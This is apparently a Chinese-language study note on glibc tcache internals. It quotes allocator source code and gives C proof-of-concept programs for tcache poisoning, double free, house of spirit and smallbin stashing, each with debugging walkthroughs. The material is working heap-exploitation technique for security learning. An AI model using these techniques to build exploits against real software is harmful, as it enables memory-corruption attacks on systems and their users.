Tcache attack
2022-03-17 11:40:12

tcache bin attack:

tcache基础知识:

tcache从libc-2.26加入

tcache两个结构体:tcache_entry / tcache_perthread_struct

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;
//tcache_entry用于链接空闲的chunk结构体,其中next指针指向下一个大小相同的chunk

tcache_entry:

==》next指向的是chunk的data部分,tcache_entry会复用空闲chunk的data部分

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

tcache_perthread_struct==》用来管理tcache链表,该结构体位于heap段的起始位置,size大小为0x251

每一个thread都会维护一个tache_prethread_struct结构体,一共有TCACHE_MAN_BINS个计数器,

TCACEH_MAN_BINS项tcaceh_entry==》

tcache_entry使用单向链表的方式链接了相同大小的处于空闲的chunk

counts记录了tcache_entry链上空闲chunk的数目,每条链上最多有7个chunk

==》tcache_prethread_struct结构体的entries成员变量指向tcache_entry结构体的next成员变量地址

tcache_entry结构体的next成员变量指向空闲的malloc_chunk的malloc地址==》

tcache释放申请机制:

1、第一次malloc时,回显malloc一块内存存放他cache_prethread_struct ==>size==0x251

2、释放chunk==》如果chunk的size小于small bin size,在进入tcache之前会先放进fastbin或者unsorted bin中

3、在放入tcaceh后:

先放进对应的tcache中,直到tcache被填满7个

tcache被填满后,接下来再释放chunk,就会直接放进fastbin或者unsorted bin中

tcache中的chunk不会发生合并,不取消inuse bit

4、重新申请chunk,并且申请的size符合tcache的范围,则先从tcache中取出chunk,知道tcache为空

5、tcache为空后,从bin中找

6、tcache为空时,如果fastbin ,small bin,unsorted bin中有size符合的chunk,会先把fastbin,small bin,unsorted bin中的chunk放到tcache中,直到填满,之后在从tcache中取

在采用tcache,只要是bin中有存在size符合的chunk,那么在重启之前都要经过tcache,由于tcache为空时先从其他bin导入到tcache==》此时tcache中的顺序会反过来

内存申请:

  // 从 tcache list 中获取内存
  if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif
    }

从tcache中取出chunk==》在tcache中有chunk时,if判断要取出的chunk的size是否满足idx的合法范围,在tcache->entries不为空时调用tcache_get()函数获取chunk

两个重要函数:tcache_get() / tcache_put()

static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
//把释放的chunk插入到tcache->entries[tc_idx]链表的头部,整个插入过程没有做任何的安全检查及保护,也没有将p标志位变为0==》没有严格的安全检查,没有对溢出,复用,二次释放等攻击手段进行审计

static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;/*===>检查*/
  --(tcache->counts[tc_idx]);
  return (void *) e;
}
//从tcache->entries[tc_idx]中获取一个chunk指针,tcache->counts减一,没有过多的安全检查和保护
/*仅检查tc_idx*/

这两个函数会在函数_int_free / _libc_malloc的开头被调用

tcache_put===》请求分配大小<=0x408,给定大小的tcache bin未满时调用===》一个tcache bin中的最大块数mp._tcache_count为7(tcache bin中需要先填满7个才会继续向fastbin等中分配)

内存释放:

free函数:首先检查释放块是否页对齐以及前后堆块释放情况

_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  size = chunksize (p);

  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

  check_inuse_chunk(av, p);

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
//判断tc_idx的合法性,判断tcache->counts[tc_idx]在7个以内时,进入tcache_put()函数
    if (tcache
      && tc_idx < mp_.tcache_bins//64
      && tcache->counts[tc_idx] < mp_.tcache_count)//7
      {
        tcache_put (p, tc_idx);
        //传递的一参为要释放的chunk的指针,二参为chunk对应的size在tcache中的下标
        return;
      }
  }
#endif
......
}

内存申请:

申请的内存符合fastbin大小时并且在fastbin内找到可用的空闲块时,会将该fastbin链上的其他内存块放入tcache中

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
    {
      if (SINGLE_THREAD_P)
        *fb = victim->fd;
      else
        REMOVE_FB (fb, pp, victim);
      if (__glibc_likely (victim != NULL))
        {
          size_t victim_idx = fastbin_index (chunksize (victim));
          if (__builtin_expect (victim_idx != idx, 0))
              malloc_printerr ("malloc(): memory corruption (fast)");
          check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
            && (tc_victim = *fb) != NULL)
            {
              if (SINGLE_THREAD_P)
               *fb = tc_victim->fd;
              else
              {
                REMOVE_FB (fb, pp, tc_victim);
                if (__glibc_unlikely (tc_victim == NULL))
                  break;
              }
              tcache_put (tc_victim, tc_idx);
            }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
    }

/*
tcaceh取出:首先会判断申请大小块,在tcache中是否存在
存在===》直接从tcaceh中取
不存在===》使用_int_malloc分配
*/


/*
循环处理unsorted bin===》达到放入unsorted bin块最大数量===》返回0===》不存在上限
*/
#if USE_TCACHE
      /* If we've processed as many chunks as we're allowed while
   filling the cache, return one of the cached ones.  */
      ++tcache_unsorted_count;
      if (return_cached
        && mp_.tcache_unsorted_limit > 0
        && tcache_unsorted_count > mp_.tcache_unsorted_limit)
      {
        return tcache_get (tc_idx);
      }
#endif

    
/*
循环处理unsorted bin内存块后,如果之前放入过tcaceh块,则会取出一个返回
*/
#if USE_TCACHE
      /* If all the small chunks we found ended up cached, return one now.  */
      if (return_cached)
      {
        return tcache_get (tc_idx);
      }
#endif

申请的内存块符合smallbin大小时并且在smallbin内找到可用的空闲快时,会把该smallbin链上的其他内存块放入tcache中

当unsorted bin链上循环处理时,当找到合适的链时,并不会直接返回,而是先放到tcache中,继续处理

利用:

tcache poisoning:

通过覆盖tcache中的next,不需要伪造任何chunk结构就可以实现malloc到任何地址

例:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        
        size_t target;
        printf("target is : %p.\n", (char *)&target);
        
        intptr_t *a = malloc(128);
        intptr_t *b = malloc(128);
        
        free(a);
        free(b);
        
        b[0] = (intptr_t)&target;

        malloc(128);
        intptr_t *c = malloc(128);
        printf("malloc_point is target: %p\n", c);
        
        assert((long)&target == (long)c);
        return 0;
} 

编译:

gcc -g -no-pie clo.c -o clo

更换libc版本为2.27:

patchelf --set-interpreter ~/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath ~/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64 clo

执行流程:

setbuf()函数进行初始化,定义一个target变量,接下来申请两个size为0x90的chunk,两个malloc指针分别给指针变量a和b,释放a,释放b,修改指针数组b[idx]下标为0位置的内容为target变量的地址,再申请两个0x90大小的chunk,将后申请的chunk的malloc指针赋给c,打印指针变量c

在malloc前断点:

申请chunk:

释放chunk:

注意:此时tcache bin中的两个指针都是chunk的fd指针

修改chunk b的fd指针==》

target被认为是chunk b前一个被释放的chunk

申请一个chunk:

最后申请出chunk c,打印chunk c的malloc指针:

tcache dup:

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache_put()===》没有对chunl进行检查===》对同一个chunk进行多次free===》cycliced list

例:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
        int *a = malloc(8);

        free(a);
        free(a);

        void *b = malloc(8);
        void *c = malloc(8);
        printf("Next allocated buffers will be same: [ %p, %p ].\n", b, c);

        assert((long)b == (long)c);
        return 0;
}

执行流程:

创建一个size为0x20大小的chunk,并将chunk的malloc指针赋给指针变量a,连续两次释放chunk a

重新申请两个size为0x20大小的chunk,将他们的malloc指针赋给b和c,打印chunk b和chunk c的malloc指针

chunk a:

释放第一次chunk a:

第二次释放chunk a:

==》tcache_put()函数没有意识到chunk a已经被释放了两次==》cycliced list==》

chunk a的fd指向自己的malloc地址

申请0x20大小的chunk:

此时tcache中只剩下一个chunk

完成两次申请,打印b c的malloc指针:

打印出来的都是chunk a的malloc指针,与fastbin attack类似

tcaceh house of spirit:

tcache_put()函数检查不合格==》在释放的时候没有检查被释放的指针是否真的是堆块的malloc指针==》

构造一个size符合的tcache bin size的fake chunk==》理论上可以将任意地址作为chunk进行释放

例:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
        setbuf(stdout, NULL);

        malloc(1);

        unsigned long long *a;
        unsigned long long fake_chunks[10];

        printf("fake_chunk addr is %p\n", &fake_chunks[0]);

        fake_chunks[1] = 0x40; 

        a = &fake_chunks[2];

        free(a);

        void *b = malloc(0x30);
        printf("malloc(0x30): %p\n", b);

        assert((long)b == (long)&fake_chunks[2]);
}

执行流程:

setbuf函数进行初始化,创建第一个堆块==》防止后面的chunk与top chunk合并==》

定义了一个指针变量a,定义了一个整型数组fake_chunk

打印fake_chunk的起始地址,将fake_chunk[1]中的内容修改成0x40

将fake_chunk[2]所在地址赋给指针变量a,释放a

重新申请一个size为0x40大小的chunk,并将malloc地址赋给指针变量b,最后打印出chunk b的malloc地址

fake_chunk[]的起始地址:

修改整型数组内容:

修改前:

修改后:

释放chunk:

释放的chunk挂入fastbin中==》将fake_chunk[2]所在地址赋给变量a,free(a)==》

tcache_put()函数没有做任何安全检查==》将fake_chunk当作是一个正常chunk释放

申请一个0x40大小的chunk b,打印b malloc地址:

chunk b的malloc地址就是fake_chunk的malloc地址

利用tcache bin有剩余(数量小于TCACHE_MAX_BINS),同大小的small bin会放进tcache中

在使用calloc分配同大小堆块触发==》calloc分配堆块时不从tcaceh bin中选取==》

在获取到一个smallbin的一个chunk====》tcache 仍然有足够的空间===》将剩余的small bin链入tcache===》只对第一个bin进行完整性检查,后面的堆块检查缺失==》改变small bin的bk指针==》任意地址写一个libc地址===》分配fake chunk到任意地方

例:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);
    
    printf("stack_var addr is:%p\n",&stack_var[0]);
    printf("chunk_lis addr is:%p\n",&chunk_lis[0]);
    printf("target addr is:%p\n",(void*)target);

    stack_var[3] = (unsigned long)(&stack_var[2]);

    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }
    
    free(chunk_lis[1]);
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    
    malloc(0xa0);
    malloc(0x90);
    malloc(0x90);
    
    chunk_lis[2][1] = (unsigned long)stack_var;
    calloc(1,0x90);

    target = malloc(0x90);

    printf("target now: %p\n",(void*)target);

    assert(target == &stack_var[2]);
    return 0;
}

执行流程:

首先创建一个数组stack_var,一个指针数组chunk_list,一个指针target

调用setbuf进行初始化,打印stack_var,chunk_list,target的地址==》

将stack_var[2]的地址放在stack_var[3]中==》

循环创建9个chunk==》将9个chunk的指针依序放进stack_var[]中==》

根据chunk_list[]中的堆块malloc指针循环释放6个已创建的chunk==》

依次释放1,0,2中malloc指针指向的chunk==》再连续创建三个chunk==》

size分别为0xb0,0xa0,0xa0==》将chunk_list[2][1]位置中的内容修改为stack var的起始地址==》

调用calloc函数申请一个size为0xa0大小的chunk,最后申请一个0xa0大小的chunk==》

并将其malloc指针赋给target变量,打印target

各个变量的地址:

修改stack_var[3]的内容:

==》stack_var[3]的内容被修改为stack_var[2]的地址

经历两个for循环,查看堆栈分布情况:

释放从第四个chunk开始==》一共释放了6个,tcache一共可以存放7个==》

释放2,1,3==》

2作为最后一个进入tcache的chunk填满了整条链表==》接下来释放的chunk不会进入该链表==》

chunk 1和chunk 3超过fastbin max size==》进入unsorted bin==》

申请0xb0的chunk==》

unsorted bin中没有符合chunk size的空闲块==》chunk 3和chunk 1会落入small bin的0xa0链表中==》

申请两个size为0xa0大小的chunk==》

==》tcache bin中满足size为0xa0的空闲块==》chunk 2和chunk 4被重新启用==》在tcache中剩下5个空闲快

==》

chunk_lis[2][1] = (unsigned long)stack_var;

chunk_lis[2]的位置就是存放chunk3的malloc指针的位置==》

chunk_lis[2][1]就是chunk3头指针为起始位置,向后两个地址位宽的位置==》chunk3 的bk==》

chunk3_bk被修改成stack_var的头指针==》

执行后:

chunk3是unsorted bin中最后一个chunk,并且chunk3的bk被修改成stack_var的头指针==》

stack_var会被认为是紧跟chunk之后释放的一个chunk:

调用calloc函数申请一个0xa0大小的chunk:

==》calloc申请chunk不从tcache中获取==》如果malloc就会直接从tcache bin中获取chunk==》

calloc申请0xa0从small bin中获取==》small bin FIFO先进先出==》被重新启用的为chunk1==》

在获取一个small bin中的一个chunk后如果tcache中仍有足够空闲的位置,剩下的small bin聪明和最后一个

stack_var开始顺着bk指针链接到tcache bin中,过程中只对第一个chunk==》chunk3进行了完整性的检查,对于后面的stack_var的检查缺失==》stack_var就被挂进了tcache bin的链表中==》

最后malloc一个siz’e为0xa0大小的chunk==》将malloc指针赋给target变量,打印target==》

stack_var处于tcache链表的最后一个,在申请的时候stack_var会被重新启用